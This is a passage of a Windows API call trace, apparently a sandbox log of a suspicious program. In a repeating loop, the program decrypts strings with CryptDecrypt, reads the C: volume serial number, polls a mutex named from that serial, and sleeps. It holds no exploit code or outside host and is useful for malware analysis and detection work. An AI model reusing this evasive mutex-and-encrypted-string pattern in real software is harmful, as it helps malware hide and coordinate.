	[0222.265] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151040) returned 1
	[0222.265] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0222.265] CryptDecrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0222.265] CryptDestroyKey (hKey=0x151040) returned 1
	[0222.265] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0222.265] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2ec
	[0222.265] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0x0) returned 0x102
	[0222.266] CloseHandle (hObject=0x2ec) returned 1
	[0222.266] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0222.266] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0222.266] Sleep (dwMilliseconds=0x3e8) 
	[0223.429] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689130
	[0223.429] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151380) returned 1
	[0223.429] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0223.429] CryptDecrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689130, pdwDataLen=0xfcf9b8 | out: pbData=0x689130, pdwDataLen=0xfcf9b8) returned 1
	[0223.429] CryptDestroyKey (hKey=0x151380) returned 1
	[0223.429] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x689270
	[0223.429] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x6891d0
	[0223.429] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0223.429] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x1513c0) returned 1
	[0223.429] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0223.429] CryptDecrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0223.429] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0223.429] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0223.429] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x689270, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0223.429] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891d0 | out: hHeap=0x680000) returned 1
	[0223.429] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689130 | out: hHeap=0x680000) returned 1
	[0223.429] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0223.430] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689270 | out: hHeap=0x680000) returned 1
	[0223.430] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0223.430] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151200) returned 1
	[0223.430] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0223.430] CryptDecrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0223.430] CryptDestroyKey (hKey=0x151200) returned 1
	[0223.430] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0223.430] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c0
	[0223.430] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0223.430] CloseHandle (hObject=0x2c0) returned 1
	[0223.430] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0223.430] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0223.430] Sleep (dwMilliseconds=0x3e8) 
	[0224.825] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689130
	[0224.825] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151400) returned 1
	[0224.825] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0224.825] CryptDecrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689130, pdwDataLen=0xfcf9b8 | out: pbData=0x689130, pdwDataLen=0xfcf9b8) returned 1
	[0224.826] CryptDestroyKey (hKey=0x151400) returned 1
	[0224.826] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x688ff0
	[0224.826] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689158
	[0224.826] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0224.826] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151180) returned 1
	[0224.826] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0224.826] CryptDecrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0224.826] CryptDestroyKey (hKey=0x151180) returned 1
	[0224.826] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0224.826] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x688ff0, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0224.826] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689158 | out: hHeap=0x680000) returned 1
	[0224.826] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689130 | out: hHeap=0x680000) returned 1
	[0224.826] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0224.826] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688ff0 | out: hHeap=0x680000) returned 1
	[0224.826] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0224.826] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151640) returned 1
	[0224.826] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0224.826] CryptDecrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0224.826] CryptDestroyKey (hKey=0x151640) returned 1
	[0224.826] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0224.826] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2d8
	[0224.827] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x0) returned 0x102
	[0224.827] CloseHandle (hObject=0x2d8) returned 1
	[0224.827] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0224.827] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0224.827] Sleep (dwMilliseconds=0x3e8) 
	[0225.883] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689130
	[0225.883] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151100) returned 1
	[0225.884] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0225.884] CryptDecrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689130, pdwDataLen=0xfcf9b8 | out: pbData=0x689130, pdwDataLen=0xfcf9b8) returned 1
	[0225.884] CryptDestroyKey (hKey=0x151100) returned 1
	[0225.884] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x688fc8
	[0225.884] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689270
	[0225.884] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0225.884] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151640) returned 1
	[0225.884] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0225.884] CryptDecrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0225.884] CryptDestroyKey (hKey=0x151640) returned 1
	[0225.884] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0225.884] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x688fc8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0225.884] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689270 | out: hHeap=0x680000) returned 1
	[0225.884] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689130 | out: hHeap=0x680000) returned 1
	[0225.884] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0225.884] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688fc8 | out: hHeap=0x680000) returned 1
	[0225.884] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0225.884] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151200) returned 1
	[0225.884] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0225.884] CryptDecrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0225.884] CryptDestroyKey (hKey=0x151200) returned 1
	[0225.884] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0225.884] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2d4
	[0225.884] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102
	[0225.885] CloseHandle (hObject=0x2d4) returned 1
	[0225.885] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0225.885] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0225.885] Sleep (dwMilliseconds=0x3e8) 
	[0227.088] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x6891d0
	[0227.088] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151580) returned 1
	[0227.088] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0227.088] CryptDecrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6891d0, pdwDataLen=0xfcf9b8 | out: pbData=0x6891d0, pdwDataLen=0xfcf9b8) returned 1
	[0227.088] CryptDestroyKey (hKey=0x151580) returned 1
	[0227.088] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x689298
	[0227.088] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689220
	[0227.088] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0227.088] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151040) returned 1
	[0227.088] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0227.088] CryptDecrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0227.088] CryptDestroyKey (hKey=0x151040) returned 1
	[0227.089] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0227.089] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x689298, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0227.089] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689220 | out: hHeap=0x680000) returned 1
	[0227.089] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891d0 | out: hHeap=0x680000) returned 1
	[0227.089] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0227.089] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689298 | out: hHeap=0x680000) returned 1
	[0227.089] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0227.089] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1515c0) returned 1
	[0227.089] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0227.089] CryptDecrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0227.089] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0227.089] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0227.089] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c8
	[0227.089] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102
	[0227.089] CloseHandle (hObject=0x2c8) returned 1
	[0227.089] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0227.089] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0227.089] Sleep (dwMilliseconds=0x3e8) 
	[0228.320] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x6892e8
	[0228.320] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151380) returned 1
	[0228.320] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0228.320] CryptDecrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6892e8, pdwDataLen=0xfcf9b8 | out: pbData=0x6892e8, pdwDataLen=0xfcf9b8) returned 1
	[0228.320] CryptDestroyKey (hKey=0x151380) returned 1
	[0228.320] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x688fc8
	[0228.320] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689018
	[0228.320] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0228.320] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151040) returned 1
	[0228.320] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0228.320] CryptDecrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0228.321] CryptDestroyKey (hKey=0x151040) returned 1
	[0228.321] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0228.321] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x688fc8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0228.321] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689018 | out: hHeap=0x680000) returned 1
	[0228.321] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6892e8 | out: hHeap=0x680000) returned 1
	[0228.321] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0228.321] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688fc8 | out: hHeap=0x680000) returned 1
	[0228.321] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0228.321] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1514c0) returned 1
	[0228.321] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0228.321] CryptDecrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0228.321] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0228.321] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0228.321] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2e4
	[0228.322] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x0) returned 0x102
	[0228.322] CloseHandle (hObject=0x2e4) returned 1
	[0228.322] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0228.322] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0228.322] Sleep (dwMilliseconds=0x3e8) 
	[0229.657] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x688ff0
	[0229.657] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151700) returned 1
	[0229.657] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0229.657] CryptDecrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x688ff0, pdwDataLen=0xfcf9b8 | out: pbData=0x688ff0, pdwDataLen=0xfcf9b8) returned 1
	[0229.657] CryptDestroyKey (hKey=0x151700) returned 1
	[0229.657] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x689130
	[0229.657] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x6892e8
	[0229.657] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0229.657] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151080) returned 1
	[0229.657] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0229.657] CryptDecrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0229.657] CryptDestroyKey (hKey=0x151080) returned 1
	[0229.657] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0229.657] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x689130, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0229.657] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6892e8 | out: hHeap=0x680000) returned 1
	[0229.657] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688ff0 | out: hHeap=0x680000) returned 1
	[0229.657] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0229.658] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689130 | out: hHeap=0x680000) returned 1
	[0229.658] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0229.658] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151040) returned 1
	[0229.658] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0229.658] CryptDecrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0229.658] CryptDestroyKey (hKey=0x151040) returned 1
	[0229.658] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0229.658] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2f0
	[0229.658] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x0) returned 0x102
	[0229.658] CloseHandle (hObject=0x2f0) returned 1
	[0229.658] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0229.658] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0229.658] Sleep (dwMilliseconds=0x3e8) 
	[0230.725] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x6891a8
	[0230.726] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151140) returned 1
	[0230.726] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0230.726] CryptDecrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6891a8, pdwDataLen=0xfcf9b8 | out: pbData=0x6891a8, pdwDataLen=0xfcf9b8) returned 1
	[0230.726] CryptDestroyKey (hKey=0x151140) returned 1
	[0230.726] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6891f8
	[0230.726] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x6891d0
	[0230.726] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0230.726] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x1516c0) returned 1
	[0230.726] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0230.726] CryptDecrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0230.726] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0230.726] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0230.726] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6891f8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0230.726] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891d0 | out: hHeap=0x680000) returned 1
	[0230.726] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891a8 | out: hHeap=0x680000) returned 1
	[0230.726] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
